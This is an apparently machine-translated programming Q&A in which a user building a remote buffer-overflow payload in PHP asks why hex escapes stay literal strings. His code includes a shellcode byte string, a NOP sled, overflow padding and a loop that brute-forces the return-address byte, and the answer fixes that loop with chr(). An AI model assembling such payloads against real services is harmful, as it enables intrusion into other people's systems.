\ xFF字符串到实际字节

时间:2014-03-11 22:01:06

标签: php string hex byte

我目前正在使用CGI处理shellcode和远程攻击的很多事情。我需要用PHP编写这个。

目前我遇到以下问题:当我在hexform ala" \ xf2"中创建一个字节时它被解释为字符串而不是字节。

我的代码摘要:

    function createByte(){
    $hex = array(0,1,2,3,4,5,6,7,8,9,"a","b","c","d","e","f");
    $byte = array();
    foreach($hex as $c){
        foreach($hex as $b){
            $byte[] = "\\x" . $c.$b;
        }
    }
    return $byte;
}

$SHELLCODE =
    "\xbb\xaa\xcf\x88\x13\xd9\xc8\xd9\x74\x24\xf4\x5a
     \x31\xc9\xb1\x01\x83\xea\xfc\x31\x5a\x0e\x03\xf0
     \xc1\x6a\xe6";
echo "[+] creating the sled.\n";

$CODE = str_repeat("\x90", EVIL_SPACE_SIZE);
for ($i = 0, $j = EVIL_SPACE_SIZE - strlen($SHELLCODE) - 1 ;
     $i < strlen($SHELLCODE) ; $i++, $j++) {
    $CODE[$j] = $SHELLCODE[$i];
}
$b = array();
foreach(createByte() as $add){
    $b[] = str_repeat("A", 23).$CODE.$add.EVIL_SPACE_ADDR;
}

实际上,在某些时候&#34;�j��\x36���&#34;出现。正如您所看到的,\ x36是一个字符串而不是其他字节。

如何实现\ x36成为正确的字节? $ CODE获取正确的字节。

一切顺利, 理查德

1 个答案:

答案 0 :(得分:1)

您可能想要这样做:

function createByte() {
    $bytes = array();
    for ($i = 0; $i < 256; $i++) $bytes[] = chr($i);
    return $bytes;
}

更清洁,更具可读性和计算效率。